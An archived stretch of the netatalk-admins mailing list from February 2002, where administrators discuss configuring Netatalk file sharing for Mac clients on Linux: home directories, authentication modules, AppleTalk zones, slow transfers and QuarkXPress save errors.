In-Reply-To: <1572.192.168.1.12.1014157686.squirrel@192.168.1.2>; from lonnie@outstep.com on Tue, Feb 19, 2002 at 05:28:06PM -0500

On Tue, Feb 19, 2002 at 05:28:06PM -0500, Lonnie Cumberland wrote:
  
> I am new to using netatalk and have just installed the rpm onto my
> redhat 7.2 system. I want to be able to give our MAC users the
> ability to connect to their /HOME directories from their Mac machines.
> Could someone please tell me what I must do now to configure the
> Netatalk so that the users can connect with their Linux login/password

This is default behavior - see the last four lines of AppleVolumes.default 
(which is usually located under /etc/atalk if you're using a Redhat RPM).  




      -J.

From netatalk.administrators-errors@umich.edu  Tue Feb 19 20:51:55 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA29083
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 20:51:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA26914
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 20:51:54 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA26888
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 20:51:54 -0500 (EST)
Received: from acad2.drake.edu (acad2.drake.edu [207.28.190.6])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA26748
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 20:51:48 -0500 (EST)
Received: from CONVERSION-DAEMON.DRAKE.EDU by DRAKE.EDU (PMDF V6.1 #38814)
 id <01KEGXSMZTF4003P1K@DRAKE.EDU> for netatalk-admins@umich.edu; Tue,
 19 Feb 2002 19:51:26 -0500 (CDT)
Received: from dan.lib.drake.edu ([10.2.1.163]) by DRAKE.EDU (PMDF V6.1 #38814)
 with ESMTP id <01KEGXSMFEQ6003Z94@DRAKE.EDU> for netatalk-admins@umich.edu;
 Tue, 19 Feb 2002 19:51:26 -0500 (CDT)
Date: Tue, 19 Feb 2002 19:53:20 -0600 (CST)
From: Dan Ramaley <daniel.ramaley@DRAKE.EDU>
Subject: Re: Re: Netatalk was running before, now broken...
In-reply-to: <B8972B55.1C24B%Thomas.Kaiser@phg-online.de>
To: netatalk <netatalk-admins@umich.edu>
Message-id: <01KEGXSMFJJK003Z94@DRAKE.EDU>
MIME-version: 1.0
X-Mailer: Mahogany, 0.63 'Saugus', compiled for Linux 2.4.2-2smp i686
Content-type: TEXT/PLAIN; CHARSET=US-ASCII
Content-transfer-encoding: 7BIT
Content-disposition: INLINE
References: <B8972B55.1C24B%Thomas.Kaiser@phg-online.de>

On Mon, 18 Feb 2002 22:06:14 +0100 Thomas Kaiser <Thomas.Kaiser@phg-online.de> wrote:

> On Mon, 18 Feb 2002 12:14:47 -0600 (CST), Dan Ramaley wrote:
> 
> > Now, there are more than 9 zones on campus; if i look in the chooser on a Mac
> > i see 36 different zones.
> 
> Okay. From your previous posting, I would assume, that you have 7 physical
> network segments connected by the Cisco router. In every segment there are a
> couple of zones published and one zonename "Select Proper Zone" in every
> segment as default zone.
> 
> With the older 3Com Router you weren't able to see the other zones? If so,
> then the 3Com has filtered ZIP in some way, I believe...

With the old 3Com router i was able to see all zones. To a user on a
Mac, nothing appears to have changed. New net.node numbers were
assigned, but the Macs (for the most part) picked those up transparently.

> > [...]
> > Well, i am very sure that the "Cowles Library" zone is valid, since i
> > currently have Macs using it and netatalk was using it before winter
> > break. I don't know if you recall from my previous posting, but before
> > winter break it was working. After break it was not.
> 
> But since then, you have more zones available in chooser than before?

No. The zones in the chooser are the same as before.

> > I spoke with the network adminstrator and he told me that over break a 3Com
> > router was replaced with a Cisco and the net.node numbers were reassigned.
> 
> If that's all, then there shouldn't be problems...
> 
> Maybe atalkd is confused about the count of zones.
> 
> > [...] Anything else i should try?
> 
> You might want to give RouterCheck a try:
> 
>     <http://www.neon.com/RouterCheck.html>
>     <http://www.neon.com/demos_goodies.html>

Thanks for the suggestion. The summary report generated by the demo
version of RouterCheck is about 15 kB so i don't think i'll post it to
this list. I found a couple things in the report that seem odd to me,
but i know little about AppleTalk. I'll send the report to the network
administrator and ask him about it.

Thanks again for your help. Hopefully i'll be able to get this solved
soon; there are a few tasks that i can't do until it is fixed.

If anyone has any other ideas, i'd be most glad to hear them.

> > Or is there anything else i should ask the network administrator that would
> > give some additional clues as to the problem?
> 
> Well, I'm not familiar with Cisco's AppleTalk implementation at all (just
> read some documentation). Maybe one can play around with RTMP and/or ZIP
> filtering?
> 
> Or you give Netatalk 1.5 a try? (But I experienced some problems with
> 'getzones' in 1.5 that haven't been there before --> 1.4b2-asun2.1.3)
> 
> Regards,
> 
> Thomas
> 



------------------------------------------------------------------------
Dan Ramaley
Digital Media Library Specialist
(515) 271-1934
Cowles Library 140, Drake University


From netatalk.administrators-errors@umich.edu  Tue Feb 19 21:44:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA01511
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 21:44:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA12984
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 21:44:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA12970
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 21:44:50 -0500 (EST)
Received: from florence.viz.com (dsl081-250-098.sfo1.dsl.speakeasy.net [64.81.250.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA12932
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 21:44:48 -0500 (EST)
Received: from deanix.viz.com (deanix.viz.com [192.168.1.220])
	by florence.viz.com (Postfix) with ESMTP id EE697B580F
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 18:35:19 -0800 (PST)
Subject: Re: newbie configuration questions
From: Deano! <deano@viz.com>
To: netatalk-admins@umich.edu
In-Reply-To: <1572.192.168.1.12.1014157686.squirrel@192.168.1.2>
References: <1572.192.168.1.12.1014157686.squirrel@192.168.1.2>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.2 
Date: 19 Feb 2002 18:41:43 -0800
Message-Id: <1014172903.13116.1682.camel@deanix.viz.com>
Mime-Version: 1.0

> I am new to using netatalk and have just installed the rpm onto my
> redhat 7.2 system. I want to be able to give our MAC users the
> ability to connect to their /HOME directories from their Mac machines.
>
If there's a "~" on a single line by itself in
/somewhere/atalk/AppleVolumes.default, then users will have home
directory access.
 
> Could someone please tell me what I must do now to configure the
> Netatalk so that the users can connect with their Linux login/password
> 
I believe that Netatalk defaults to using PAM, so you should be all set.

> Any help on configuration would be greatly appreciated.
> 
> Also, what port tcp/udp does netatalk run on?
> 
ddp - 1,2,4,6

udp/tcp - 548/548

-deano


From netatalk.administrators-errors@umich.edu  Tue Feb 19 22:03:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id WAA02284
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 22:03:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA06316
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 22:03:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA06293
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 22:03:10 -0500 (EST)
Received: from smtp2.reach.net.sg (smtp2.reach.net.sg [202.79.127.165])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA06188
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 22:03:07 -0500 (EST)
Received: from serialsystem.com.sg ([203.162.55.3])
	by smtp2.reach.net.sg (8.9.3+Sun/8.9.1) with ESMTP id LAA16728
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 11:02:39 +0800 (SGT)
Message-ID: <3C731243.8060209@serialsystem.com.sg>
Date: Wed, 20 Feb 2002 10:04:35 +0700
From: Lam Quoc Thanh <tony.lam@serialsystem.com.sg>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: atalkd problem
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

I'm using kernel 2.2.14 for powerpc MPC283. After building a kernel 
support appletalk, i got an appletalk.o file with size 34662 bytes. I'm 
using netatalk-1.5pre6-1mdk.ppc.rpm, openssl-0.9.4-3.ppc.rpm and 
pam-0.68-10.ppc.rpm patch file.
My network includes :
- My computer (powerpc MPC823 chip)
- 1 PC Windows 2000NT server with appletalk sharing
- 1 PC Redhat Linux 7.2 with appletalk built in
- 2 PC Mac OS X

After starting atalkd daemon, i use nbplkup and aecho program to check 
netatalk transaction protocol.
With nbplkup, i just see PC Windows 2000NT server but the others don't
With aecho, i can ping PC Windows and the others don't.

On linux 7.2, after running nbplkup i can see PC Windows and 2 PC MAC 
but my computer wasn't

I really don't know what problem. Can you help me ?

Best regards
Tony


From netatalk.administrators-errors@umich.edu  Tue Feb 19 22:40:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id WAA04092
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 19 Feb 2002 22:40:00 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA00896
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 19 Feb 2002 22:40:00 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA00875
	for netatalk.administrators-members@umich.edu; Tue, 19 Feb 2002 22:40:00 -0500 (EST)
Received: from media.umbc.edu (media.umbc.edu [130.85.179.78])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA00838
	for <netatalk-admins@umich.edu>; Tue, 19 Feb 2002 22:39:59 -0500 (EST)
Received: (from ray@localhost)
	by media.umbc.edu (8.9.3/8.9.3/Debian 8.9.3-21) id WAA20742
	for netatalk-admins@umich.edu; Tue, 19 Feb 2002 22:39:58 -0500
From: Ray Shaw <ray@media.umbc.edu>
Date: Tue, 19 Feb 2002 22:39:58 -0500
To: netatalk-admins@umich.edu
Subject: Re: Netatalk slow as all get out
Message-ID: <20020219223958.C3721@media.umbc.edu>
References: <B89860E6.D%mr.ted@rogers.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <B89860E6.D%mr.ted@rogers.com>; from mr.ted@rogers.com on Tue, Feb 19, 2002 at 08:07:02PM -0500


On Tue, Feb 19, 2002 at 08:07:02PM -0500, Ted wrote:
> Hello, all.
> 
> I've spent the last few days banging my head against the proverbial wall
> with a problem with netatalk that I've never had before. Every other time
> I've set it up, it worked lickety split - this time I've been losing sleep
> over it!

I've seen similar performance issues with netatalk before, and wasn't
able to solve the problem on the client end; if anyone has suggestions
for this, please let me know.

Background: netatalk server is a CompaQ Prolient (kill!) with Debian
potato and a 2.4 kernel, using one real Tulip NIC and one ThunderLAN
card.  Clients are three 9600/300 machines and two G4/450 machines,
all running OS 9 (no Quark for OS X yet).

The ethernet in our building is...less than ideal at the
moment (something about too many hubs).  The Linux and Win98 machines
seem to handle the network OK, but when I had both the netatalk server
and the Macs plugged into our subnet, performance was bad.  In between
selecting the server and getting the username/password dialog would be
a pause for a minute or more, and possibly also a pause between
entering the password and being connected.  File transfer speeds were
averaging one megabyte per minute, and often failing.  However, the
transfer speeds were only bad when uploading from the Macs to the
server...in the other direction, they were OK.  Ack!  The problem was
the same when the fileserver moved into the university server room.

Curiously, Macs in the student labs and residential network had no
trouble connecting with/using the netatalk server.  I had someone who
actually really knew what they were doing WRT Macs go over the
configuration of my workstations, installed OS updates, etc., to no
avail.

Finally, I set up netatalk on my laptop (using a D-Link PCMCIA nic).
I plugged it into the school network -- same problem.  I plugged it
and one Mac into a hub -- aha!  Performance was much better.

So the solution was to move the fileserver into the room with the Macs
(and alas, out of the temperature-controlled, secure server room with
2 hours of UPS), set up an internal network, and have the Macs access
the internet via NAT through the fileserver.  Performance is good, but
the login delay is still there...except that sometimes it just goes
through right away!

I really, really hope that your network isn't as Pure Evil as the
portion of the school network in our building (a network tester
plugged into the wall indicated frame errors...).  Let's not talk
about trying to have a radio station in the same building with
internet streams :)

If anyone has advice about the login pause, or operating on
an...imperfect network, it would be greatly appreciated.


-- 
--Ray

-----------------------------
Sotto la panca la capra crepa
sopra la panca la capra campa

From netatalk.administrators-errors@umich.edu  Wed Feb 20 00:42:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA12189
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 00:42:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA09476
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 00:42:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA09450
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 00:42:06 -0500 (EST)
Received: from redwood.myhouse.com (adsl-63-206-168-155.dsl.sktn01.pacbell.net [63.206.168.155])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id AAA09381
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 00:42:04 -0500 (EST)
Received: (qmail 22709 invoked from network); 20 Feb 2002 05:42:03 -0000
Received: from unknown (HELO beefcake) (192.168.40.10)
  by 0 with SMTP; 20 Feb 2002 05:42:03 -0000
Content-Type: text/plain;
  charset="iso-8859-1"
From: Tyler Hardison <tyhardis@pacbell.net>
To: Ray Shaw <ray@media.umbc.edu>, netatalk-admins@umich.edu
Subject: Re: Netatalk slow as all get out
Date: Tue, 19 Feb 2002 21:42:04 -0800
X-Mailer: KMail [version 1.2]
References: <B89860E6.D%mr.ted@rogers.com> <20020219223958.C3721@media.umbc.edu>
In-Reply-To: <20020219223958.C3721@media.umbc.edu>
MIME-Version: 1.0
Message-Id: <02021921420401.16280@beefcake>
Content-Transfer-Encoding: 8bit

Does this happen when saving out of QuarkXpress? 

Thanks

Tyler.
On Tuesday 19 February 2002 19:39, Ray Shaw wrote:
> On Tue, Feb 19, 2002 at 08:07:02PM -0500, Ted wrote:
> > Hello, all.
> >
> > I've spent the last few days banging my head against the proverbial wall
> > with a problem with netatalk that I've never had before. Every other time
> > I've set it up, it worked lickety split - this time I've been losing
> > sleep over it!
>
> I've seen similar performance issues with netatalk before, and wasn't
> able to solve the problem on the client end; if anyone has suggestions
> for this, please let me know.
>
> Background: netatalk server is a CompaQ Prolient (kill!) with Debian
> potato and a 2.4 kernel, using one real Tulip NIC and one ThunderLAN
> card.  Clients are three 9600/300 machines and two G4/450 machines,
> all running OS 9 (no Quark for OS X yet).
>
> The ethernet in our building is...less than ideal at the
> moment (something about too many hubs).  The Linux and Win98 machines
> seem to handle the network OK, but when I had both the netatalk server
> and the Macs plugged into our subnet, performance was bad.  In between
> selecting the server and getting the username/password dialog would be
> a pause for a minute or more, and possibly also a pause between
> entering the password and being connected.  File transfer speeds were
> averaging one megabyte per minute, and often failing.  However, the
> transfer speeds were only bad when uploading from the Macs to the
> server...in the other direction, they were OK.  Ack!  The problem was
> the same when the fileserver moved into the university server room.
>
> Curiously, Macs in the student labs and residential network had no
> trouble connecting with/using the netatalk server.  I had someone who
> actually really knew what they were doing WRT Macs go over the
> configuration of my workstations, installed OS updates, etc., to no
> avail.
>
> Finally, I set up netatalk on my laptop (using a D-Link PCMCIA nic).
> I plugged it into the school network -- same problem.  I plugged it
> and one Mac into a hub -- aha!  Performance was much better.
>
> So the solution was to move the fileserver into the room with the Macs
> (and alas, out of the temperature-controlled, secure server room with
> 2 hours of UPS), set up an internal network, and have the Macs access
> the internet via NAT through the fileserver.  Performance is good, but
> the login delay is still there...except that sometimes it just goes
> through right away!
>
> I really, really hope that your network isn't as Pure Evil as the
> portion of the school network in our building (a network tester
> plugged into the wall indicated frame errors...).  Let's not talk
> about trying to have a radio station in the same building with
> internet streams :)
>
> If anyone has advice about the login pause, or operating on
> an...imperfect network, it would be greatly appreciated.

From netatalk.administrators-errors@umich.edu  Wed Feb 20 04:06:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA19939
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 04:06:50 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA14682
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 04:06:50 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA14674
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 04:06:49 -0500 (EST)
Received: from ns.falconstor.com.tw (ns.falconstor.com.tw [61.218.138.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA14611
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 04:06:43 -0500 (EST)
Received: from jimmy (gw.falconstor.com.tw [172.16.1.254])
	by ns.falconstor.com.tw (8.12.1/8.12.1) with SMTP id g1K8uvdk017314
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 16:56:58 +0800
From: "Jimmy" <jimmy@falconstor.com.tw>
To: <netatalk-admins@umich.edu>
Subject: An UAM question
Date: Wed, 20 Feb 2002 17:06:55 +0800
Message-ID: <DKECINDAEAEPNEFEEGDIKEDCCBAA.jimmy@falconstor.com.tw>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

I make and install netatalk 1.5.2 on redhat 6.2.
It works properly. But after I modify afpd.conf to

- -transall -uamlist uams_passwd.so -nosavepassword

I cannot login from mac. The error message is as following:

afpd[2372]: ASIP started on 127.0.0.1:548(2) (1.5.2)
afpd[2372]: uam_load(uams_passwd.so): mod_symbol error for symbol
uams_passwd
afpd[2372]: uam: uams_passwd.so load failure

What's wrong? But with uams_clrtxt.so, it works.
Does that mean I must use PAM?

Thanks.

Jimmy


From netatalk.administrators-errors@umich.edu  Wed Feb 20 07:16:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA27484
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 07:16:46 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1KCGka09440
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 07:16:46 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1KCGjT09438
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 07:16:45 -0500 (EST)
Received: from server-2.tower-9.messagelabs.com (mail9.messagelabs.com [194.205.110.133])
	by kidgalahad.mr.itd.umich.edu (3.6u) with SMTP id g1KCGi109422
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 07:16:44 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 5024 invoked from network); 20 Feb 2002 12:16:23 -0000
Received: from raq358.uk2net.com (213.239.42.191)
  by server-2.tower-9.messagelabs.com with SMTP; 20 Feb 2002 12:16:23 -0000
Received: from keyfort.co.uk (itomkins.keyfort.co.uk [217.34.133.133])
	by raq358.uk2net.com (8.9.3/8.9.3) with ESMTP id MAA26794
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 12:16:20 GMT
Message-ID: <3C7393B4.5030704@keyfort.co.uk>
Date: Wed, 20 Feb 2002 12:16:52 +0000
From: Ian Tomkins <itomkins@keyfort.co.uk>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.8) Gecko/20020204
X-Accept-Language: en-us
MIME-Version: 1.0
To: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: advice on netatalk alongside a backend workflow
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I am using netatalk as the front end (for Mac users) of a file based 
workflow system, but I am running into difficulties.

Can anyone offer any advice on how to best set up netatalk when I am 
doing lots moving and deleting files behind the scenes. At the moment 
this is causing me problems like 'The item xxx cannot be written, 
because it cannot be found.' .

I am using 1.5.2 on Redhat 7.2.




_____________________________________________________________________
Internet Security by Keyfort  www.keyfort.co.uk
This message has been checked by MessageLabs Virus Scanning Service

From netatalk.administrators-errors@umich.edu  Wed Feb 20 08:19:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA00011
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 08:19:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA13687
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 08:19:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA13680
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 08:19:51 -0500 (EST)
Received: from tux.premedia.at ([193.83.208.41])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id IAA13656
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 08:19:49 -0500 (EST)
Received: from [10.0.1.28] ([192.99.201.35])
	by tux.premedia.at (8.11.0/8.11.0) with ESMTP id g1KDVcg18470
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 14:31:39 +0100
Mime-Version: 1.0
X-Sender: magnus#thenextwave.net@mail.thenextwave.net
Message-Id: <a05101000b899525eddb2@[10.0.1.28]>
Date: Wed, 20 Feb 2002 14:19:45 +0100
To: netatalk-admins@umich.edu
From: Magnus Hofmueller <mh@thenextwave.net>
Subject: Hide System Files / TCP/IP
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA00011


Hi!

I“ve got two questions:

1) how can i hide folder/files like AppleDouble / NetworkTrashFolder
to my mac clients

2) how can i only accept connects over tcp/ip?

greetings,
	magnus

From netatalk.administrators-errors@umich.edu  Wed Feb 20 08:34:38 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA00760
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 08:34:38 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA28318
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 08:34:38 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA28309
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 08:34:37 -0500 (EST)
Received: from mail.broadpark.no (217-13-4-9.dd.nextgentel.com [217.13.4.9])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA28155
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 08:34:31 -0500 (EST)
Received: from dreier.no (213-145-160-118.dd.nextgentel.com [213.145.160.118])
	by mail.broadpark.no (Postfix) with ESMTP id 693427DB3
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 14:34:24 +0100 (MET)
Message-ID: <3C73A6CC.3050406@dreier.no>
Date: Wed, 20 Feb 2002 14:38:20 +0100
From: Morten Dreier <morten@dreier.no>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020205
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Strange errors in netatalk-1.5pre6
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I get some strange errors with netatalk-1.5pre6 on a RedHat 7.2 machine.
When we save files in QuarkXPress, we get a error message, and Quark is 
unable to save the file. The file and the resource in the .AppleDouble 
directory is owned by the same user. The permissions on the files are 
correct. The timestamp on the resource file indicates that it has been 
modified, but the file itself has not been modified.
When we copy files to the server, everything works ok - it only occurrs 
when we save the files from Quark itself.

Is this related to this ol prerelease version of netatalk or is this 
something that I can configure in some way?

-- 
Morten Dreier


From netatalk.administrators-errors@umich.edu  Wed Feb 20 08:50:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA01485
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 08:49:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA09412
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 08:49:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA09396
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 08:49:59 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (ebv.mimnet.northwestern.edu [165.124.253.94])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA09334
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 08:49:58 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (IDENT:1xgQ3/e4rbPhp0Mj4zigWf4Ljb7VE5pe@localhost [127.0.0.1])
	by ebv.mimnet.nwu.edu with ESMTP id g1KDntWA022564;
	Wed, 20 Feb 2002 07:49:55 -0600
Received: from localhost (aiyar@localhost)
	by ebv.mimnet.nwu.edu with ESMTP id g1KDntNd022561;
	Wed, 20 Feb 2002 07:49:55 -0600
Date: Wed, 20 Feb 2002 07:49:55 -0600 (CST)
From: Ashok Aiyar <aiyar@ebv.mimnet.nwu.edu>
To: Magnus Hofmueller <mh@thenextwave.net>
cc: netatalk-admins@umich.edu
Subject: Re: Hide System Files / TCP/IP
In-Reply-To: <a05101000b899525eddb2@[10.0.1.28]>
Message-ID: <Pine.LNX.4.44.0202200747380.22533-100000@ebv.mimnet.nwu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8BIT

On Wed, 20 Feb 2002, Magnus Hofmueller wrote:

>
> Hi!
>
> I“ve got two questions:
>
> 1) how can i hide folder/files like AppleDouble / NetworkTrashFolder
> to my mac clients

Should be hidden by default.  I don't have any specials settings
in afpd.conf or AppleVolumes.default, and these folders are invisible to
the Mac clients.

> 2) how can i only accept connects over tcp/ip?

Don't run atalkd, or in afpd.conf use the flags "-noddp -tcp".

Later,
Ashok
-- 
Ashok Aiyar, Ph.D.
Assistant Professor                    email: a-aiyar@northwestern.edu
Department of Microbiology-Immunology           office: (312) 503-2524
303 E. Chicago Avenue, WARD 4-123                  lab: (312) 503-2542
Northwestern University, Chicago, IL 60611         fax: (312) 503-1339


From netatalk.administrators-errors@umich.edu  Wed Feb 20 08:51:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA01555
